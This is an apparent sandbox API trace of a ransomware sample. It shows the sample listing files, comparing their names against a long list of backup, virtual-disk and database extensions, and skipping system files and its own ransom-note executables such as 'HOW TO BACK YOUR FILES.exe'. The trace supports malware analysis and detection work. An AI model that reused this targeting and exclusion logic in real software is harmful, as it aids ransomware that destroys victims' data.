	[0072.491] lstrcmpiW (lpString1="CDU", lpString2="adf") returned 1
	[0072.491] lstrlenW (lpString="adn") returned 3
	[0072.491] lstrcmpiW (lpString1="CDU", lpString2="adn") returned 1
	[0072.491] lstrlenW (lpString="adp") returned 3
	[0072.491] lstrcmpiW (lpString1="CDU", lpString2="adp") returned 1
	[0072.491] lstrlenW (lpString="alf") returned 3
	[0072.491] lstrcmpiW (lpString1="CDU", lpString2="alf") returned 1
	[0072.491] lstrlenW (lpString="ask") returned 3
	[0072.491] lstrcmpiW (lpString1="CDU", lpString2="ask") returned 1
	[0072.491] lstrlenW (lpString="btr") returned 3
	[0072.491] lstrcmpiW (lpString1="CDU", lpString2="btr") returned 1
	[0072.491] lstrlenW (lpString="cat") returned 3
	[0072.491] lstrcmpiW (lpString1="CDU", lpString2="cat") returned 1
	[0072.491] lstrlenW (lpString="cdb") returned 3
	[0072.491] lstrcmpiW (lpString1="CDU", lpString2="cdb") returned 1
	[0072.491] lstrlenW (lpString="ckp") returned 3
	[0072.491] lstrcmpiW (lpString1="CDU", lpString2="ckp") returned -1
	[0072.491] lstrlenW (lpString="cma") returned 3
	[0072.491] lstrcmpiW (lpString1="CDU", lpString2="cma") returned -1
	[0072.491] lstrlenW (lpString="cpd") returned 3
	[0072.491] lstrcmpiW (lpString1="CDU", lpString2="cpd") returned -1
	[0072.491] lstrlenW (lpString="dacpac") returned 6
	[0072.491] lstrcmpiW (lpString1=".ACCDU", lpString2="dacpac") returned -1
	[0072.491] lstrlenW (lpString="dad") returned 3
	[0072.491] lstrcmpiW (lpString1="CDU", lpString2="dad") returned -1
	[0072.491] lstrlenW (lpString="dadiagrams") returned 10
	[0072.491] lstrcmpiW (lpString1="SR12.ACCDU", lpString2="dadiagrams") returned 1
	[0072.491] lstrlenW (lpString="daschema") returned 8
	[0072.491] lstrcmpiW (lpString1="12.ACCDU", lpString2="daschema") returned -1
	[0072.491] lstrlenW (lpString="db-journal") returned 10
	[0072.491] lstrcmpiW (lpString1="SR12.ACCDU", lpString2="db-journal") returned 1
	[0072.491] lstrlenW (lpString="db-shm") returned 6
	[0072.491] lstrcmpiW (lpString1=".ACCDU", lpString2="db-shm") returned -1
	[0072.491] lstrlenW (lpString="db-wal") returned 6
	[0072.491] lstrcmpiW (lpString1=".ACCDU", lpString2="db-wal") returned -1
	[0072.491] lstrlenW (lpString="dbc") returned 3
	[0072.491] lstrcmpiW (lpString1="CDU", lpString2="dbc") returned -1
	[0072.492] lstrlenW (lpString="dbs") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="dbs") returned -1
	[0072.492] lstrlenW (lpString="dbt") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="dbt") returned -1
	[0072.492] lstrlenW (lpString="dbv") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="dbv") returned -1
	[0072.492] lstrlenW (lpString="dbx") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="dbx") returned -1
	[0072.492] lstrlenW (lpString="dcb") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="dcb") returned -1
	[0072.492] lstrlenW (lpString="dct") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="dct") returned -1
	[0072.492] lstrlenW (lpString="dcx") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="dcx") returned -1
	[0072.492] lstrlenW (lpString="ddl") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="ddl") returned -1
	[0072.492] lstrlenW (lpString="dlis") returned 4
	[0072.492] lstrcmpiW (lpString1="CCDU", lpString2="dlis") returned -1
	[0072.492] lstrlenW (lpString="dp1") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="dp1") returned -1
	[0072.492] lstrlenW (lpString="dqy") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="dqy") returned -1
	[0072.492] lstrlenW (lpString="dsk") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="dsk") returned -1
	[0072.492] lstrlenW (lpString="dsn") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="dsn") returned -1
	[0072.492] lstrlenW (lpString="dtsx") returned 4
	[0072.492] lstrcmpiW (lpString1="CCDU", lpString2="dtsx") returned -1
	[0072.492] lstrlenW (lpString="dxl") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="dxl") returned -1
	[0072.492] lstrlenW (lpString="eco") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="eco") returned -1
	[0072.492] lstrlenW (lpString="ecx") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="ecx") returned -1
	[0072.492] lstrlenW (lpString="edb") returned 3
	[0072.492] lstrcmpiW (lpString1="CDU", lpString2="edb") returned -1
	[0072.492] lstrlenW (lpString="epim") returned 4
	[0072.493] lstrcmpiW (lpString1="CCDU", lpString2="epim") returned -1
	[0072.493] lstrlenW (lpString="fcd") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="fcd") returned -1
	[0072.493] lstrlenW (lpString="fdb") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="fdb") returned -1
	[0072.493] lstrlenW (lpString="fic") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="fic") returned -1
	[0072.493] lstrlenW (lpString="flexolibrary") returned 12
	[0072.493] lstrcmpiW (lpString1="ZUSR12.ACCDU", lpString2="flexolibrary") returned 1
	[0072.493] lstrlenW (lpString="fm5") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="fm5") returned -1
	[0072.493] lstrlenW (lpString="fmp") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="fmp") returned -1
	[0072.493] lstrlenW (lpString="fmp12") returned 5
	[0072.493] lstrcmpiW (lpString1="ACCDU", lpString2="fmp12") returned -1
	[0072.493] lstrlenW (lpString="fmpsl") returned 5
	[0072.493] lstrcmpiW (lpString1="ACCDU", lpString2="fmpsl") returned -1
	[0072.493] lstrlenW (lpString="fol") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="fol") returned -1
	[0072.493] lstrlenW (lpString="fp3") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="fp3") returned -1
	[0072.493] lstrlenW (lpString="fp4") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="fp4") returned -1
	[0072.493] lstrlenW (lpString="fp5") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="fp5") returned -1
	[0072.493] lstrlenW (lpString="fp7") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="fp7") returned -1
	[0072.493] lstrlenW (lpString="fpt") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="fpt") returned -1
	[0072.493] lstrlenW (lpString="frm") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="frm") returned -1
	[0072.493] lstrlenW (lpString="gdb") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="gdb") returned -1
	[0072.493] lstrlenW (lpString="gdb") returned 3
	[0072.493] lstrcmpiW (lpString1="CDU", lpString2="gdb") returned -1
	[0072.493] lstrlenW (lpString="grdb") returned 4
	[0072.493] lstrcmpiW (lpString1="CCDU", lpString2="grdb") returned -1
	[0072.493] lstrlenW (lpString="gwi") returned 3
	[0072.494] lstrcmpiW (lpString1="CDU", lpString2="gwi") returned -1
	[0072.494] lstrlenW (lpString="hdb") returned 3
	[0072.494] lstrcmpiW (lpString1="CDU", lpString2="hdb") returned -1
	[0072.494] lstrlenW (lpString="his") returned 3
	[0072.494] lstrcmpiW (lpString1="CDU", lpString2="his") returned -1
	[0072.495] lstrlenW (lpString="ib") returned 2
	[0072.495] lstrcmpiW (lpString1="DU", lpString2="ib") returned -1
	[0072.495] lstrlenW (lpString="idb") returned 3
	[0072.495] lstrcmpiW (lpString1="CDU", lpString2="idb") returned -1
	[0072.495] lstrlenW (lpString="ihx") returned 3
	[0072.495] lstrcmpiW (lpString1="CDU", lpString2="ihx") returned -1
	[0072.495] lstrlenW (lpString="itdb") returned 4
	[0072.495] lstrcmpiW (lpString1="CCDU", lpString2="itdb") returned -1
	[0072.495] lstrlenW (lpString="itw") returned 3
	[0072.495] lstrcmpiW (lpString1="CDU", lpString2="itw") returned -1
	[0072.495] lstrlenW (lpString="jet") returned 3
	[0072.495] lstrcmpiW (lpString1="CDU", lpString2="jet") returned -1
	[0072.495] lstrlenW (lpString="jtx") returned 3
	[0072.495] lstrcmpiW (lpString1="CDU", lpString2="jtx") returned -1
	[0072.495] lstrlenW (lpString="kdb") returned 3
	[0072.495] lstrcmpiW (lpString1="CDU", lpString2="kdb") returned -1
	[0072.496] lstrlenW (lpString="kexi") returned 4
	[0072.496] lstrcmpiW (lpString1="CCDU", lpString2="kexi") returned -1
	[0072.496] lstrlenW (lpString="kexic") returned 5
	[0072.496] lstrcmpiW (lpString1="ACCDU", lpString2="kexic") returned -1
	[0072.496] lstrlenW (lpString="kexis") returned 5
	[0072.496] lstrcmpiW (lpString1="ACCDU", lpString2="kexis") returned -1
	[0072.496] lstrlenW (lpString="lgc") returned 3
	[0072.496] lstrcmpiW (lpString1="CDU", lpString2="lgc") returned -1
	[0072.496] lstrlenW (lpString="lwx") returned 3
	[0072.496] lstrcmpiW (lpString1="CDU", lpString2="lwx") returned -1
	[0072.496] lstrlenW (lpString="maf") returned 3
	[0072.496] lstrcmpiW (lpString1="CDU", lpString2="maf") returned -1
	[0072.496] lstrlenW (lpString="maq") returned 3
	[0072.496] lstrcmpiW (lpString1="CDU", lpString2="maq") returned -1
	[0072.496] lstrlenW (lpString="mar") returned 3
	[0072.496] lstrcmpiW (lpString1="CDU", lpString2="mar") returned -1
	[0072.496] lstrlenW (lpString="marshal") returned 7
	[0072.496] lstrcmpiW (lpString1="2.ACCDU", lpString2="marshal") returned -1
	[0072.496] lstrlenW (lpString="mas") returned 3
	[0072.496] lstrcmpiW (lpString1="CDU", lpString2="mas") returned -1
	[0072.496] lstrlenW (lpString="mav") returned 3
	[0072.496] lstrcmpiW (lpString1="CDU", lpString2="mav") returned -1
	[0072.496] lstrlenW (lpString="maw") returned 3
	[0072.496] lstrcmpiW (lpString1="CDU", lpString2="maw") returned -1
	[0072.496] lstrlenW (lpString="mdbhtml") returned 7
	[0072.496] lstrcmpiW (lpString1="2.ACCDU", lpString2="mdbhtml") returned -1
	[0072.496] lstrlenW (lpString="mdn") returned 3
	[0072.496] lstrcmpiW (lpString1="CDU", lpString2="mdn") returned -1
	[0072.496] lstrlenW (lpString="mdt") returned 3
	[0072.496] lstrcmpiW (lpString1="CDU", lpString2="mdt") returned -1
	[0072.496] lstrlenW (lpString="mfd") returned 3
	[0072.496] lstrcmpiW (lpString1="CDU", lpString2="mfd") returned -1
	[0072.496] lstrlenW (lpString="mpd") returned 3
	[0072.496] lstrcmpiW (lpString1="CDU", lpString2="mpd") returned -1
	[0072.496] lstrlenW (lpString="mrg") returned 3
	[0072.496] lstrcmpiW (lpString1="CDU", lpString2="mrg") returned -1
	[0072.496] lstrlenW (lpString="mud") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="mud") returned -1
	[0072.497] lstrlenW (lpString="mwb") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="mwb") returned -1
	[0072.497] lstrlenW (lpString="myd") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="myd") returned -1
	[0072.497] lstrlenW (lpString="ndf") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="ndf") returned -1
	[0072.497] lstrlenW (lpString="nnt") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="nnt") returned -1
	[0072.497] lstrlenW (lpString="nrmlib") returned 6
	[0072.497] lstrcmpiW (lpString1=".ACCDU", lpString2="nrmlib") returned -1
	[0072.497] lstrlenW (lpString="ns2") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="ns2") returned -1
	[0072.497] lstrlenW (lpString="ns3") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="ns3") returned -1
	[0072.497] lstrlenW (lpString="ns4") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="ns4") returned -1
	[0072.497] lstrlenW (lpString="nsf") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="nsf") returned -1
	[0072.497] lstrlenW (lpString="nv") returned 2
	[0072.497] lstrcmpiW (lpString1="DU", lpString2="nv") returned -1
	[0072.497] lstrlenW (lpString="nv2") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="nv2") returned -1
	[0072.497] lstrlenW (lpString="nwdb") returned 4
	[0072.497] lstrcmpiW (lpString1="CCDU", lpString2="nwdb") returned -1
	[0072.497] lstrlenW (lpString="nyf") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="nyf") returned -1
	[0072.497] lstrlenW (lpString="odb") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="odb") returned -1
	[0072.497] lstrlenW (lpString="odb") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="odb") returned -1
	[0072.497] lstrlenW (lpString="oqy") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="oqy") returned -1
	[0072.497] lstrlenW (lpString="ora") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="ora") returned -1
	[0072.497] lstrlenW (lpString="orx") returned 3
	[0072.497] lstrcmpiW (lpString1="CDU", lpString2="orx") returned -1
	[0072.498] lstrlenW (lpString="owc") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="owc") returned -1
	[0072.498] lstrlenW (lpString="p96") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="p96") returned -1
	[0072.498] lstrlenW (lpString="p97") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="p97") returned -1
	[0072.498] lstrlenW (lpString="pan") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="pan") returned -1
	[0072.498] lstrlenW (lpString="pdb") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="pdb") returned -1
	[0072.498] lstrlenW (lpString="pdm") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="pdm") returned -1
	[0072.498] lstrlenW (lpString="pnz") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="pnz") returned -1
	[0072.498] lstrlenW (lpString="qry") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="qry") returned -1
	[0072.498] lstrlenW (lpString="qvd") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="qvd") returned -1
	[0072.498] lstrlenW (lpString="rbf") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="rbf") returned -1
	[0072.498] lstrlenW (lpString="rctd") returned 4
	[0072.498] lstrcmpiW (lpString1="CCDU", lpString2="rctd") returned -1
	[0072.498] lstrlenW (lpString="rod") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="rod") returned -1
	[0072.498] lstrlenW (lpString="rodx") returned 4
	[0072.498] lstrcmpiW (lpString1="CCDU", lpString2="rodx") returned -1
	[0072.498] lstrlenW (lpString="rpd") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="rpd") returned -1
	[0072.498] lstrlenW (lpString="rsd") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="rsd") returned -1
	[0072.498] lstrlenW (lpString="sas7bdat") returned 8
	[0072.498] lstrcmpiW (lpString1="12.ACCDU", lpString2="sas7bdat") returned -1
	[0072.498] lstrlenW (lpString="sbf") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="sbf") returned -1
	[0072.498] lstrlenW (lpString="scx") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="scx") returned -1
	[0072.498] lstrlenW (lpString="sdb") returned 3
	[0072.498] lstrcmpiW (lpString1="CDU", lpString2="sdb") returned -1
	[0072.499] lstrlenW (lpString="sdc") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="sdc") returned -1
	[0072.499] lstrlenW (lpString="sdf") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="sdf") returned -1
	[0072.499] lstrlenW (lpString="sis") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="sis") returned -1
	[0072.499] lstrlenW (lpString="spq") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="spq") returned -1
	[0072.499] lstrlenW (lpString="te") returned 2
	[0072.499] lstrcmpiW (lpString1="DU", lpString2="te") returned -1
	[0072.499] lstrlenW (lpString="teacher") returned 7
	[0072.499] lstrcmpiW (lpString1="2.ACCDU", lpString2="teacher") returned -1
	[0072.499] lstrlenW (lpString="tmd") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="tmd") returned -1
	[0072.499] lstrlenW (lpString="tps") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="tps") returned -1
	[0072.499] lstrlenW (lpString="trc") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="trc") returned -1
	[0072.499] lstrlenW (lpString="trc") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="trc") returned -1
	[0072.499] lstrlenW (lpString="trm") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="trm") returned -1
	[0072.499] lstrlenW (lpString="udb") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="udb") returned -1
	[0072.499] lstrlenW (lpString="udl") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="udl") returned -1
	[0072.499] lstrlenW (lpString="usr") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="usr") returned -1
	[0072.499] lstrlenW (lpString="v12") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="v12") returned -1
	[0072.499] lstrlenW (lpString="vis") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="vis") returned -1
	[0072.499] lstrlenW (lpString="vpd") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="vpd") returned -1
	[0072.499] lstrlenW (lpString="vvv") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="vvv") returned -1
	[0072.499] lstrlenW (lpString="wdb") returned 3
	[0072.499] lstrcmpiW (lpString1="CDU", lpString2="wdb") returned -1
	[0072.500] lstrlenW (lpString="wmdb") returned 4
	[0072.500] lstrcmpiW (lpString1="CCDU", lpString2="wmdb") returned -1
	[0072.500] lstrlenW (lpString="wrk") returned 3
	[0072.500] lstrcmpiW (lpString1="CDU", lpString2="wrk") returned -1
	[0072.500] lstrlenW (lpString="xdb") returned 3
	[0072.500] lstrcmpiW (lpString1="CDU", lpString2="xdb") returned -1
	[0072.500] lstrlenW (lpString="xld") returned 3
	[0072.500] lstrcmpiW (lpString1="CDU", lpString2="xld") returned -1
	[0072.500] lstrlenW (lpString="xmlff") returned 5
	[0072.500] lstrcmpiW (lpString1="ACCDU", lpString2="xmlff") returned -1
	[0072.500] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d02370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x42d02370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0072.500] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0072.500] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="UTILIT~1.ACC")) returned 1
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="Apollon865.txt.exe") returned 1
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2=".") returned 1
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="..") returned 1
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="windows") returned -1
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="bootmgr") returned 1
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="temp") returned 1
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="pagefile.sys") returned 1
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="boot") returned 1
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="ids.txt") returned 1
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="ntuser.dat") returned 1
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="perflogs") returned 1
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2="MSBuild") returned 1
	[0072.500] lstrlenW (lpString="UTILITY.ACCDA") returned 13
	[0072.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65
	[0072.500] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="UTILITY.ACCDA" | out: lpString1="UTILITY.ACCDA") returned="UTILITY.ACCDA"
	[0072.500] lstrlenW (lpString="UTILITY.ACCDA") returned 13
	[0072.500] lstrlenW (lpString="Apollon865") returned 10
	[0072.500] lstrcmpiW (lpString1="LITY.ACCDA", lpString2="Apollon865") returned 1
	[0072.500] lstrlenW (lpString=".dll") returned 4
	[0072.500] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2=".dll") returned 1
	[0072.501] lstrlenW (lpString=".lnk") returned 4
	[0072.501] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2=".lnk") returned 1
	[0072.501] lstrlenW (lpString=".ini") returned 4
	[0072.501] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2=".ini") returned 1
	[0072.501] lstrlenW (lpString=".sys") returned 4
	[0072.501] lstrcmpiW (lpString1="UTILITY.ACCDA", lpString2=".sys") returned 1
	[0072.501] lstrlenW (lpString="UTILITY.ACCDA") returned 13
	[0072.501] lstrlenW (lpString="bak") returned 3
	[0072.501] lstrcmpiW (lpString1="CDA", lpString2="bak") returned 1
	[0072.501] lstrlenW (lpString="ba_") returned 3
	[0072.501] lstrcmpiW (lpString1="CDA", lpString2="ba_") returned 1
	[0072.501] lstrlenW (lpString="dbb") returned 3
	[0072.501] lstrcmpiW (lpString1="CDA", lpString2="dbb") returned -1
	[0072.501] lstrlenW (lpString="vmdk") returned 4
	[0072.501] lstrcmpiW (lpString1="CCDA", lpString2="vmdk") returned -1
	[0072.501] lstrlenW (lpString="rar") returned 3
	[0072.501] lstrcmpiW (lpString1="CDA", lpString2="rar") returned -1
	[0072.501] lstrlenW (lpString="zip") returned 3
	[0072.501] lstrcmpiW (lpString1="CDA", lpString2="zip") returned -1
	[0072.501] lstrlenW (lpString="tgz") returned 3
	[0072.501] lstrcmpiW (lpString1="CDA", lpString2="tgz") returned -1
	[0072.501] lstrlenW (lpString="vbox") returned 4
	[0072.501] lstrcmpiW (lpString1="CCDA", lpString2="vbox") returned -1
	[0072.501] lstrlenW (lpString="vdi") returned 3
	[0072.501] lstrcmpiW (lpString1="CDA", lpString2="vdi") returned -1
	[0072.501] lstrlenW (lpString="vhd") returned 3
	[0072.501] lstrcmpiW (lpString1="CDA", lpString2="vhd") returned -1
	[0072.501] lstrlenW (lpString="vhdx") returned 4
	[0072.501] lstrcmpiW (lpString1="CCDA", lpString2="vhdx") returned -1
	[0072.501] lstrlenW (lpString="avhd") returned 4
	[0072.501] lstrcmpiW (lpString1="CCDA", lpString2="avhd") returned 1
	[0072.501] lstrlenW (lpString="db") returned 2
	[0072.501] lstrcmpiW (lpString1="DA", lpString2="db") returned -1
	[0072.501] lstrlenW (lpString="db2") returned 3
	[0072.501] lstrcmpiW (lpString1="CDA", lpString2="db2") returned -1
	[0072.501] lstrlenW (lpString="db3") returned 3
	[0072.501] lstrcmpiW (lpString1="CDA", lpString2="db3") returned -1
	[0072.501] lstrlenW (lpString="dbf") returned 3
	[0072.502] lstrcmpiW (lpString1="CDA", lpString2="dbf") returned -1
	[0072.502] lstrlenW (lpString="mdf") returned 3
	[0072.502] lstrcmpiW (lpString1="CDA", lpString2="mdf") returned -1
	[0072.502] lstrlenW (lpString="mdb") returned 3
	[0072.502] lstrcmpiW (lpString1="CDA", lpString2="mdb") returned -1
	[0072.502] lstrlenW (lpString="sql") returned 3
	[0072.502] lstrcmpiW (lpString1="CDA", lpString2="sql") returned -1
	[0072.502] lstrlenW (lpString="sqlite") returned 6
	[0072.502] lstrcmpiW (lpString1=".ACCDA", lpString2="sqlite") returned -1
	[0072.502] lstrlenW (lpString="sqlite3") returned 7
	[0072.502] lstrcmpiW (lpString1="Y.ACCDA", lpString2="sqlite3") returned 1
	[0072.502] lstrlenW (lpString="sqlitedb") returned 8
	[0072.502] lstrcmpiW (lpString1="TY.ACCDA", lpString2="sqlitedb") returned 1
	[0072.502] lstrlenW (lpString="xml") returned 3
	[0072.502] lstrcmpiW (lpString1="CDA", lpString2="xml") returned -1
	[0072.502] lstrlenW (lpString="$er") returned 3
	[0072.502] lstrcmpiW (lpString1="CDA", lpString2="$er") returned 1
	[0072.502] lstrlenW (lpString="4dd") returned 3
	[0072.502] lstrcmpiW (lpString1="CDA", lpString2="4dd") returned 1
	[0072.502] lstrlenW (lpString="4dl") returned 3
	[0072.502] lstrcmpiW (lpString1="CDA", lpString2="4dl") returned 1
	[0072.502] lstrlenW (lpString="^^^") returned 3
	[0072.502] lstrcmpiW (lpString1="CDA", lpString2="^^^") returned 1
	[0072.502] lstrlenW (lpString="abs") returned 3
	[0072.502] lstrcmpiW (lpString1="CDA", lpString2="abs") returned 1
	[0072.502] lstrlenW (lpString="abx") returned 3
	[0072.502] lstrcmpiW (lpString1="CDA", lpString2="abx") returned 1
	[0072.502] lstrlenW (lpString="accdb") returned 5
	[0072.502] lstrcmpiW (lpString1="ACCDA", lpString2="accdb") returned -1
	[0072.502] lstrlenW (lpString="accdc") returned 5
	[0072.502] lstrcmpiW (lpString1="ACCDA", lpString2="accdc") returned -1
	[0072.502] lstrlenW (lpString="accde") returned 5
	[0072.502] lstrcmpiW (lpString1="ACCDA", lpString2="accde") returned -1
	[0072.502] lstrlenW (lpString="accdr") returned 5
	[0072.502] lstrcmpiW (lpString1="ACCDA", lpString2="accdr") returned -1
	[0072.502] lstrlenW (lpString="accdt") returned 5
	[0072.503] lstrcmpiW (lpString1="ACCDA", lpString2="accdt") returned -1
	[0072.503] lstrlenW (lpString="accdw") returned 5
	[0072.503] lstrcmpiW (lpString1="ACCDA", lpString2="accdw") returned -1
	[0072.503] lstrlenW (lpString="accft") returned 5
	[0072.503] lstrcmpiW (lpString1="ACCDA", lpString2="accft") returned -1
	[0072.503] lstrlenW (lpString="adb") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="adb") returned 1
	[0072.503] lstrlenW (lpString="adb") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="adb") returned 1
	[0072.503] lstrlenW (lpString="ade") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="ade") returned 1
	[0072.503] lstrlenW (lpString="adf") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="adf") returned 1
	[0072.503] lstrlenW (lpString="adn") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="adn") returned 1
	[0072.503] lstrlenW (lpString="adp") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="adp") returned 1
	[0072.503] lstrlenW (lpString="alf") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="alf") returned 1
	[0072.503] lstrlenW (lpString="ask") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="ask") returned 1
	[0072.503] lstrlenW (lpString="btr") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="btr") returned 1
	[0072.503] lstrlenW (lpString="cat") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="cat") returned 1
	[0072.503] lstrlenW (lpString="cdb") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="cdb") returned -1
	[0072.503] lstrlenW (lpString="ckp") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="ckp") returned -1
	[0072.503] lstrlenW (lpString="cma") returned 3
	[0072.503] lstrcmpiW (lpString1="CDA", lpString2="cma") returned -1
	[0072.503] lstrlenW (lpString="cpd") returned 3
